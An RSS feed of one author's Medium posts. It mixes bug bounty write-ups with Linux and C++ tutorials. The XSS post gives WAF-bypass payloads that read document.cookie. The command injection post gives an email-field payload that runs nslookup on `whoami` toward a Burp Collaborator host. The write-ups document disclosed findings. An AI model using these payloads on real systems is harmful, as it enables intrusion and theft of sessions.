<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arumusutakimu on Medium]]></title>
        <description><![CDATA[Stories by Arumusutakimu on Medium]]></description>
        <link>https://medium.com/@alb-soul?source=rss-5f1f020fa647------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*b-vz8JYMO9iKwbJLYQlrYw.jpeg</url>
            <title>Stories by Arumusutakimu on Medium</title>
            <link>https://medium.com/@alb-soul?source=rss-5f1f020fa647------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 22:11:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alb-soul/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Information Disclosure exposes The Correct Answers through Debug in Quiz Scoring]]></title>
            <link>https://alb-soul.medium.com/information-disclosure-exposes-the-correct-answers-through-debug-in-quiz-scoring-ed69742e37a?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed69742e37a</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[information-disclosure]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Sat, 09 Sep 2023 05:50:09 GMT</pubDate>
            <atom:updated>2023-09-09T05:51:45.867Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*pmIzQtLTOwASRZUu.jpg" /><figcaption>Source image : Portswigger (https://portswigger.com)</figcaption></figure><p>Hi! everyone… in this short article I’m going to share my finding about Information Disclosure in IBM CLMS website, especially in Quiz Scoring feature.</p><p><em>**note : reported to IBM via H1 as “Information Exposure Through Debug Information” and closed as “Informative”, may be due to user can retake the Quiz multiple times so it’s not really affected.**</em></p><p>First, what is Information Disclosure? Refer to Portswigger website, “Information disclosure, also known as information leakage, is when a website unintentionally reveals sensitive information to its users.” The severity for this is depends on what information was disclosed.</p><p>The issue was occured in IBM CLMS quiz from a module, when we answer the question while the burp is intercepting, there’s HTTP Request that containts information about the quiz question and it’s answer, including state for our current answer (is it correct/wrong) in json format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*ghMBJfSiIN1mkREuWhC_Mg.png" /><figcaption>E.x. for question from the quiz</figcaption></figure><p>From image above, Itry to answer randomly, and click Submit. I try to trace the request and find out some request, and there’s one of them containts detail information about the question and it’s answer, as shown image below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*s-yjDVrQ4fWR4l3bBGdIfw.png" /><figcaption>HTTP Request in HTTP History after clicked Submit button</figcaption></figure><p>Notice there are some values that equal to quiz question from previous image, like the question in name and description attribute, and the choices for the answers. And of course, the correct answers for the question exists in correctResponsesPattern attribute, which containts the id of the answer, as we can compare the id to suitable answer with it’s description respectively, so we will know the correct answer and retake the quiz.</p><p>As summary, the information disclosure is not always occured in HTTP response, as long as the request is not encrypted, there may be something important in it.</p><p>Thank you…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed69742e37a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS with 403 WAF Bypass for “(” and (document.cookie)]]></title>
            <link>https://alb-soul.medium.com/xss-with-403-waf-bypass-for-and-document-cookie-998850c02bd5?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/998850c02bd5</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-bypass]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Mon, 05 Jun 2023 13:23:23 GMT</pubDate>
            <atom:updated>2023-06-06T01:46:49.787Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi!, in this article I want to share my finding about reflected XSS and some way for bypassing 403 Forbidden.</p><p>Firstly, what is XSS vulnerability?</p><figure><img alt="XSS (Cross Site Scripting)" src="https://cdn-images-1.medium.com/max/670/1*yOjkKU6e2S4B4WNZkmmc_w.png" /><figcaption>XSS (Cross Site Scripting)</figcaption></figure><p>XSS or Cross Site Scripting is web vulnerability in client-side where the attacker able to injects malisious code to the browser, usually via input form (like search and another field). Attacker can stealing victim cookies, data, or even the session so attacker can login as a victim without need authentication (worst case).</p><p>In my case, vulnerability occurs in search field. There’s no filter for user to input“&lt;&gt;” character, but when concatenated specific tag like &lt;img src=x…&gt;, &lt;script&gt;alert…so on it got blocked. So I try other approaches with manipulate the atribute of current tag and add some javascript Event Handler like onload, onmousever, onerror, it resulting 200 ok. But, even that, I got that some pattern or character was forbidden as it leads to 403 forbidden status.</p><p>My first payload is : <em>testtest”+onmouseover%3D”alert(1)</em> then it’s got blocked by WAF (403 forbidden)</p><figure><img alt="Payload was blocked by WAF" src="https://cdn-images-1.medium.com/max/889/1*pptvqQ0I5T6UVcACjNPXyw.png" /><figcaption>Payload was blocked by WAF</figcaption></figure><p>Then, I try to analyze what is the letter/character/pattern actually blocked and forbids by WAF. So, I try it step by step :</p><p><em>testtest”+onmouseover → 200 ok</em></p><p><em>testtest”+onmouseover%3D → 200 ok</em></p><p><em>testtest”+onmouseover%3D”alert → 200 ok</em>, and so on (This is one of my classic technique when trying bypassing :D )</p><p>Until I found the character that leads my payload got blocked, it’s “(” character when I try to close argument of <em>alert</em> parameter. It looks like :</p><p><em>testtest”+onmouseover%3D”alert(1) → 403 forbidden</em>, blocked by WAF</p><p><em>but, testtest”+onmouseover%3D”alert1) → 200 ok</em>, still fine :D</p><p>So, I try to bypass “(” character with HTML entities numeric by replacing “(” with <em>&amp;#40;</em></p><ul><li>**NB : You can check HTML Entities for another characters in <a href="https://tools.w3cub.com/html-entities">https://tools.w3cub.com/html-entities</a></li></ul><p><em>testtest”+onmouseover%3D”alert</em><strong><em>&amp;#40;</em></strong><em>1) → invalid payload because after “&amp;” character the text will be ignored or removed</em></p><p>Then, try to encode <em>&amp;#40; </em>with url encode :</p><p><em>testtest”+onmouseover%3D”alert</em><strong>%26%2340%3B</strong>1) → 403 forbidden, blocked by WAF</p><ul><li>**You can use this site for url encoding : <a href="https://www.urlencoder.io/">https://www.urlencoder.io/</a></li></ul><p>Then, I remembered a write up that bypassing WAF for XSS with add “00” or “%00” in the middle of payload, so I try modify the payload again :</p><p><em>testtest”+onmouseover%3D”alert%26%23</em><strong><em>00</em></strong><em>40%3B1) → still blocked</em></p><p><em>testtest”+onmouseover%3D”alert%26%23</em><strong><em>00000000</em></strong><em>40%3B1) → 200 ok</em> (Nice…)</p><p>Finally, I bypassed it after adding “0” 8 times (8x) like above payload.</p><figure><img alt="modified payload was triggered" src="https://cdn-images-1.medium.com/max/1024/1*2xKYLHYbg_jlRs5c_1gsVg.png" /><figcaption>Modified payload was triggered. Note : In image, the payload looks different because it’s already processed by the site so some character was implemented, like %3D in url where I injected, but in search result and field it becomes “=”</figcaption></figure><p>Then, I try to access document cookie, but the text “document.cookie” of payload removed by site, it looks like there’s another security mechanism.</p><p><em>testtest”+onmouseover%3D”alert%26%23</em><strong><em>00000000</em></strong><em>40%3Bdocument.cookie) → 200 ok,</em> but…</p><p>it become to :</p><p><em>testtest” onmouseover=”alert&amp;#0000000040;[removed])</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*QvWoBoxpDs_bz43YR4s6pA.png" /></figure><p>So, I modified again the payload by changing <em>document.cookie</em> to <em>document[‘cookie’]</em></p><p><em>testtest”+onmouseover%3D”alert%26%23</em><strong><em>00000000</em></strong><em>40%3Bdocument[‘cookie’]) → 200 ok and payload was triggered</em></p><figure><img alt="Modified payload with accessing document.cookie was triggered" src="https://cdn-images-1.medium.com/max/1024/1*QAGZqF9Rsk5ML68ZaXMXZg.png" /><figcaption>Modified payload with accessing document.cookie was triggered</figcaption></figure><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=998850c02bd5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Play PS2 Game on Linux]]></title>
            <link>https://alb-soul.medium.com/how-to-play-ps2-game-on-linux-28b18159d739?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/28b18159d739</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[pcsx2]]></category>
            <category><![CDATA[playstation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[games]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Thu, 25 May 2023 15:37:17 GMT</pubDate>
            <atom:updated>2024-01-13T08:47:00.979Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, in this article I’m going to share with you how to play Playstation 2 (PS2) game on Linux operating system. (Sometimes we need nostalgia :D)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWYYTJXXWTMZ48iHT4qveA.png" /><figcaption>Basara 2 Heroes played on Linux with PCSX2 emulator</figcaption></figure><p>Here’s some stuffs we must prepared :</p><ul><li>PCSX2, this is playstation 2 emulator application for PC (Available on Linux, Windows, and Mac OS). (Link available below)</li><li>BIOS for PS2 (Link available below)</li><li>Iso of PS2 game (Link available below, Basara Game)</li></ul><ol><li>Installing PCSX2</li></ol><p>This app can downloaded from official website <a href="https://pcsx2.net/">here (PCSX2 Home)</a> or you can download from Google drive link <a href="https://khaddavi.net/7aEaBS2b">here (PCSX2 64-bit)</a>. After downloaded open terminal and go to the same directory of pscx2 file stored.</p><p>Add “executable” permission to file with this command :</p><p><em>chmod +x pcsx2_version_depend_on_yours.AppImage</em></p><p>Like image below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*wtXXYkGyPBkYPFzzggeg4A.png" /><figcaption>Add executable for pcsx2 file</figcaption></figure><p>Then, create PCSX2 folder in /opt/ :</p><p><em>sudo mkdir /opt/PCSX2</em></p><p>Edit owner of folder to yours (This needed so you can update the PCSX2 later without any permission denied issue) :</p><p><em>sudo chown $(whoami):root /opt/PCSX2</em></p><p>Move or copy pcsx2 file AppImage to /opt/PCSX2 directory :</p><p><em>sudo cp pcsx2_version_depends_on_yours.AppImage /opt/PCSX2/</em></p><p>Then, you can open PCSX2 from terminal with command :</p><p><em>/opt/PCSX2/pcsx2_version_depends_on_yours.AppImage</em></p><p>Since you run it and open the PCSX2, the configuration file will stored in /home/$HOME/.config/PCSX2 directory.</p><p>2. Download and choosing bios</p><p>Download Bios for PS2 so we can start the game. Download <a href="https://khaddavi.net/uk47xdzTC1HW">here</a></p><p>After downloaded, unzip PS2_BIOS.zip file and it will generates ps2_bios folder, then copy all files in ps2_bios directory to /home/$HOME/.config/PCSX2/bios. Or via command line like below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QToFC-CbXN-7wzdWmCK_3w.png" /></figure><ul><li>NB : If you don’t have unzip utility yet, download it with :</li></ul><p><em>sudo apt install unzip</em></p><p>Then, we configure and select the bios from PCSX2 application. To do that Click Setting -&gt; Bios. New window will opened. In bios directory set the path according to the path of bios file stored and for BIOS selection you can choose bios file with USA version. Like image below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*9fyHuIU2aMCoOJUY7l--9A.png" /></figure><p>3. Choose and play the game</p><p>For the game, here’s iso game for Basara 2 Heroes :</p><p>Sengoku Basara 2 Heroes ISO (4GB) (Google drive) : <a href="https://khaddavi.net/NuPEbD">Download here</a></p><p>Extract zip file. Then iso game will extracted (file with .iso extension).</p><p>In PCSX2, Go to Setting -&gt; Game List. New window will opened. Then in Search Directory, add your direcory that contains PS2 iso game. Then all of relatable game will available on list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBMZAGve5WzTZ5WSe1HBIA.png" /><figcaption>How to add game to list with add directory</figcaption></figure><p>You can see the hotkey of keyboard that used for playing the game in Setting -&gt; Controllers. If you have gamepad controller, you can just plug in it and then in Setting -&gt; Controllers, click Automatic Mapping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zolbTqBhxLvnaeplgIiCnA.png" /><figcaption>Click Automatic Mapping for button adjustment automatically</figcaption></figure><p>Lastly, double click on game that you want to play it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtY9mFZneJupdEXeQH-Nyg.png" /></figure><p>Thank you…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28b18159d739" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blind OS Command Injection via Activation Request]]></title>
            <link>https://alb-soul.medium.com/blind-os-command-injection-via-activation-request-66dc25377bf4?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/66dc25377bf4</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Thu, 18 May 2023 06:01:17 GMT</pubDate>
            <atom:updated>2023-06-17T04:04:03.785Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, in this article I’m going to share with you how I found Blind OS Command Injection vulnerability via account activation request.</p><p>Firstly, what is blind os command injection?</p><figure><img alt="OS Command Injection" src="https://cdn-images-1.medium.com/max/998/1*m6bNBEkPTEoUrQYZ8SkftA.jpeg" /></figure><p>OS Command Injection is a web security vulnerability that allows an attacker to execute operating system (OS) command to the server. Indicated with response of request while injected with OS command like ping, echo, etc. Blind OS command injection is where the site is vulnerable but it doesn’t show us the response if target vulnerable. But still can detected with burp collaborator or a listener.</p><p>In my case, the vulnerability occurs in email and phone number fields of account activation request’s form when our trial account was expired.</p><p>PoC :</p><ul><li>After login with expired account, I can’t access dashboard, instead the pop up alert with Email and Phone Number fields exists for buying their services.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*wg_cVGHFkw2fhxpNvOwPyw.png" /><figcaption>Pop op that occurs for account activation request if our trial expired</figcaption></figure><ul><li>Then I fill the email and phone number, then click Contact Me button to send activation request</li><li>In Burpsuite, I sent request history to the Repeater, like below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*Ik32QloWpyMHeC5oN0oOgA.png" /><figcaption>HTTP request for account activation</figcaption></figure><ul><li>I’ve tried to inject os command like ping -c 10 127.0.0.1 to notice if response has time delay, but it’s not. Then I inject in emailAdrress value with this payload : mymail@mail.com &amp; nslookup burpcollaborator_site_payload, burp collaborator site payload can generated with Right Click -&gt; Insert Collaborator Payload, so it will looks like this :</li></ul><p>“emailAddress”:”mymail@mail.com &amp; nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN &amp;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-yBEDahkt3Osh3WUWcFSw.png" /><figcaption>after sent with payload</figcaption></figure><ul><li>After sent the payload, nothing in the response indicates if it vulnerable, but go to Collaborator tab and click Poll now button, the payload was triggered</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7A05O2zhlaUjnNu_tlxuDQ.png" /><figcaption>Payload nslookup was triggered</figcaption></figure><ul><li>** FYI : The target has bug bounty program but not in platform like Hackerone. I’ve reported it but until now I didn’t get response yet for 1 month. In their bug bounty policy page written that they will review a report for at least 3 weeks. Tried contact them but no answer. Previously I’ve reported XSS issue they responded but I got duplicate. :D , I can’t publish the target for now ***</li><li>Update : They was responded my report, but unfortunately this finding is duplicate</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66dc25377bf4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Change Linux GRUB Background Image]]></title>
            <link>https://alb-soul.medium.com/how-to-change-grub-background-image-in-linux-960d66edbd9b?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/960d66edbd9b</guid>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[grub]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Fri, 17 Feb 2023 16:05:05 GMT</pubDate>
            <atom:updated>2023-05-18T04:14:09.507Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys. In this article I’m going to show you how to change GRUB background image in linux.</p><p>Most linux distro shows the blank image (black image background) in grub when we booting and choosing specific OS. But also for several distro (like Manjaro KDE, Parrot OS, Kali, etc.) it’s configured with specific background image for their GRUB.</p><p>It is possible to change the image may be if we feel boring and wanna make a little bit of customization, including for GRUB.</p><p>So, to do this, prepare the image that you want to use it and note it’s location in your directory. This is image that I will use for grub backgorund :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FjPx0TSk-ItVT0h5xQD1Kg.png" /><figcaption>linux-freedom-edit.png</figcaption></figure><p>You can download this image for HD Quality → <a href="https://khaddavi.net/aUgk1E1">here</a></p><p>For example my image stored in home directory :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*6abXTpTSt-zWXsQwcaQjxQ.png" /></figure><p>Note the path of image, then go to terminal and type commands below :</p><p><em>sudo nano /etc/default/grub</em></p><p>Hit Enter and type your password after that.</p><p>Press Ctrl+W to filter by searching, and search “background” then hit Enter :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*hSpSKcx_vBSHk0f4SoZeFQ.png" /></figure><p>Uncomment GRUB_BACKGROUND line and pass the path of our image as value like shown above.</p><ul><li>Change the path according to your image target location</li></ul><p>Save it with Ctrl+X and type ‘y’ and hit Enter.</p><p>Lastly, update the grub :</p><p><em>sudo update-grub</em></p><p>Reboot to see the changes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=960d66edbd9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cara Membuat Fitur Pencarian (Searching) Fleksibel di C++]]></title>
            <link>https://alb-soul.medium.com/outpkode-cara-membuat-fitur-pencarian-searching-fleksibel-di-c-df6ea7272054?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/df6ea7272054</guid>
            <category><![CDATA[c]]></category>
            <category><![CDATA[object-oriented]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cplusplus]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Sun, 08 Jan 2023 04:22:54 GMT</pubDate>
            <atom:updated>2023-01-08T06:53:29.415Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Cover c++ pencarian fleksibel" src="https://cdn-images-1.medium.com/max/1009/1*oZo8IvTD1int1h3-Vl0vLA.jpeg" /></figure><p>Halo semuanya. Pada postingan kali ini saya mau berbagi tutorial cara membuat fitur pencarian/searching yang fleksibel di C++. Fleksibel yang saya maksud disini adalah ketika kita mengetikkan suatu keyword/kata/subkata saja, maka semua data yang mengandung info tersebut akan ditampilkan. Artinya tidak perlu menulis lengkap data yang ingin dicari.</p><p>Misalnya :</p><p>Data array str[] bertipe string yang berisi nilai :</p><p>“Fulan bin Fulan, Jakarta 28th” → str[0]</p><p>“Reza bin Syuuu, Bali 21th” → str[1]</p><p>“Simbawe Quensa, Jakarta 22th” → str[2]</p><p>Lalu kita memasukkan di input pencarian : “Jakarta”, maka semua string yang mengandung kata ini akan ditampilkan. Sehingga outputnya :</p><ul><li>“Fulan bin Fulan, Jakarta 28th”</li><li>“Simbawe Quensa, Jakarta 22th”</li></ul><p>Hal ini tidak mungkin jika hanya menggunakan perkondisional if else biasa, karena jika penggunaan biasa ia harus menggunakan operator sama dengan “==” yang mana data yang dibandingkan harus benar-benar sama agar kondisinya true, sehingga mau tidak mau kita harus menulis lengkap kunci pencariannya : “Fulan bin Fulan, Jakarta 28th”. Contoh di bawah pencarian biasa :</p><pre>#include &lt;iostream&gt;<br>using namespace std;<br><br>int main() {<br>    string str[3],key;<br>    str[0] = &quot;Fulan bin Fulan, Jakarta 28th&quot;;<br>    str[1] = &quot;Reza bin Syuuu, Bali 21th&quot;;<br>    str[2] = &quot;Simbawe Quensa, Jakarta 22th&quot;;<br><br>    //menampilkan data<br>    cout &lt;&lt; &quot;Data pada array :\n&quot;;<br>    for (int i=0;i&lt;sizeof(str)/sizeof(str[0]);i++) {<br>        cout &lt;&lt; &quot;\t&quot; &lt;&lt; str[i] &lt;&lt; endl;<br>    }<br><br>    //mencari data dg kondisi if else biasa<br>    cout &lt;&lt; &quot;Silakan input data yang dicari : &quot;;<br>    getline(cin,key);<br>    for (int i=0;i&lt;sizeof(str)/sizeof(str[0]);i++) {<br>        if (key==str[i]) {<br>            cout &lt;&lt; &quot;Data ditemukan!\n&quot;;<br>            cout &lt;&lt; str[i] &lt;&lt; endl;<br>        }<br>    }<br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*nKQqo0JF7pQevyF4b9Z2Uw.jpeg" /><figcaption>Output program pencarian biasa</figcaption></figure><p>Pada output program dengan pencarian biasa di atas, terlihat kita tidak bisa mendapatkan data orang yang berasal dari Jakarta dengan input pencarian “Jakarta” saja, melainkan harus menulis lengkap agar bisa muncul.</p><p>Maka untuk kode program pencarian fleksibelnya, kita menggunakan fungsi <em>find()</em> bersamaan dengan nilai konstan <em>string::npos</em> yang tersedia pada library string. Berikut kode program modifikasinya :</p><pre>#include &lt;iostream&gt;<br>#include &lt;string&gt; //tambahkan header string<br>using namespace std;<br><br>int main() {<br>    string str[3],key;<br>    str[0] = &quot;Fulan bin Fulan, Jakarta 28th&quot;;<br>    str[1] = &quot;Reza bin Syuuu, Bali 21th&quot;;<br>    str[2] = &quot;Simbawe Quensa, Jakarta 22th&quot;;<br><br>    //menampilkan data<br>    cout &lt;&lt; &quot;Data pada array :\n&quot;;<br>    for (int i=0;i&lt;sizeof(str)/sizeof(str[0]);i++) {<br>        cout &lt;&lt; &quot;\t&quot; &lt;&lt; str[i] &lt;&lt; endl;<br>    }<br><br>    //mencari data <br>    cout &lt;&lt; &quot;Silakan input data yang dicari : &quot;;<br>    getline(cin,key);<br>    for (int i=0;i&lt;sizeof(str)/sizeof(str[0]);i++) {<br>        if (str[i].find(key)!=string::npos) {<br>        //gunakan fungsi find() dan compare dengan konstanta string::npos<br>            cout &lt;&lt; &quot;Data ditemukan!\n&quot;;<br>            cout &lt;&lt; str[i] &lt;&lt; endl;<br>        }<br>    }<br>    return 0;<br>}</pre><p>Output program modifikasi :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*4LY01bvKZxVQSp3aORE-XA.jpeg" /><figcaption>Output program pencarian fleksibel dengan find() dan string::npos</figcaption></figure><p>Terlihat pada output di atas kita hanya menginput pencarian dengan kata “Jakarta”, dan semua data yang mengandung kata tersebut akan ditampilkan. Begitu juga contoh kedua yakni mencari kata kunci “bin”, maka data yang ada kata “bin” nya akan ditampilkan.</p><p>Penjelasan kode program di atas, kita hanya perlu menambahkan header string untuk penggunaan method <em>find()</em> dan konstanta string::npos.</p><p>Fungsi <em>str[i].find(data_yg_dicari)</em> artinya mencari substring yang polanya sama dengan ‘data_yg_dicari’ dalam string str[i].</p><p><em>string::npos</em> arti sederhananya adalah nilai konstan untuk no position.</p><p>Ketika fungsi find() tidak berhasil menemukan pola/teks/substring yang sama dalam sebuah string, maka ia akan mereturn nilai no position. Oleh sebab itu itu digunakan operator != untuk menyatakan kalau pemanggilan find() menemukan pola maka kondisional ifnya menjadi true.</p><p>Sekian tutorial kali ini :D semoga bermanfaat ✨</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df6ea7272054" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fixing an Android smartphone not instantly mount when try to transferring files, and not appearing…]]></title>
            <link>https://alb-soul.medium.com/fixing-an-android-smartphone-not-instantly-mount-when-try-to-transferring-files-and-not-appearing-a88d75da9176?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/a88d75da9176</guid>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[tips-and-tricks]]></category>
            <category><![CDATA[linuxworld]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Thu, 15 Dec 2022 10:02:12 GMT</pubDate>
            <atom:updated>2022-12-15T10:02:12.272Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fixing an Android smartphone not instantly mount when try to transferring files, and not appearing in the file manager in Linux</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*89KCAuLGNkC7haiIVe1quA.jpeg" /></figure><p>Hello! In this tutorial I’m going to show you how to fix the android device not mount automatically when we choose file transfer option in Android and/or (may be it’s mounted but) doesn’t appear in file manager. Here I’m using Manjaro Linux with Cinnamon Desktop Environment. So here go.</p><p>Make sure you plugged in your phone to pc/laptop with usb cable, then when you face the issue same like me, try to install these 2 utilities :</p><p>libmtp and gvfs-mtp if using file managers that uses GVFS, (or kio-extras for dolphin.)</p><p>Install with your package manager :</p><p>(Ubuntu/Debian based) : <em>sudo apt update &amp;&amp; sudo apt install libmtp gvfs-mtp</em></p><p>(Arch Based) : <em>sudo pacman -Syu &amp;&amp; sudo pacman -S libmtp gvfs-mtp</em></p><ul><li>NB : If you use another linux distribution just replace the package manager command based on your distro.</li></ul><p>After that, try to unplug and plug in again and choose file transfer option from your android. This tutorial works for me and android device will appears in file manager.</p><p>Thank you…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a88d75da9176" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fix No Sound and Internal Mic doesn’t Work in Linux]]></title>
            <link>https://alb-soul.medium.com/fix-no-sound-and-internal-mic-doesnt-work-in-linux-dd03fe3d22db?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd03fe3d22db</guid>
            <category><![CDATA[audio]]></category>
            <category><![CDATA[sound]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Wed, 07 Sep 2022 13:22:50 GMT</pubDate>
            <atom:updated>2022-09-07T13:22:50.630Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys. Here I want to share my experience in troubleshoting linux sound issue. The issue is no sound (ouput/input doesn’t work) and input from internal mic doesn’t work and these problems occurs after fresh install. Of course it very troubles me for my daily usage with Linux.</p><p>NB : This was happened to me when I’m using Parrot OS 5.1 in Acer Aspire 5 (11th gen of i5 CPU). I’m not sure wheter this tutorial can work on other distribution, but you can try it :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-a1tIIYzcQsvuZiXxDLllA.png" /></figure><p>For easier, Firstly, install pavucontrol to manage audio :</p><p><em>sudo apt update &amp;&amp; sudo apt install pavucontrol</em></p><p>Then, create alsa configuration :</p><p><em>sudo nano /etc/modprobe.d/alsa-base.conf</em></p><p>Then write the following lines in it :</p><p><em>options snd-intel-dspcfg.dsp_driver=1</em></p><p><em>options snd-hda-intel model=laptop-amic enable=yes</em></p><p>Like shown below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*cVah7-fKPGUgn1w0w756Iw.png" /></figure><p>Save it with Ctrl+x then type ‘y’</p><p>And install sof firmware :</p><p><em>sudo apt install firmware-sof-signed</em></p><p>Then reboot your system.</p><p>It works for me after rebooting.</p><p>NB : Make sure you set correct setting for audio, check it with pulse audio control (Pavucontrol). Thank you…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd03fe3d22db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create Your Own Simple Bash Command from Complex Command in Linux]]></title>
            <link>https://alb-soul.medium.com/create-your-own-simple-bash-command-from-complex-command-in-linux-ab718cc062f2?source=rss-5f1f020fa647------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab718cc062f2</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[linux-tutorial]]></category>
            <category><![CDATA[bash-script]]></category>
            <category><![CDATA[cli]]></category>
            <dc:creator><![CDATA[Arumusutakimu]]></dc:creator>
            <pubDate>Sat, 09 Jul 2022 13:42:27 GMT</pubDate>
            <atom:updated>2022-07-09T13:55:44.534Z</atom:updated>
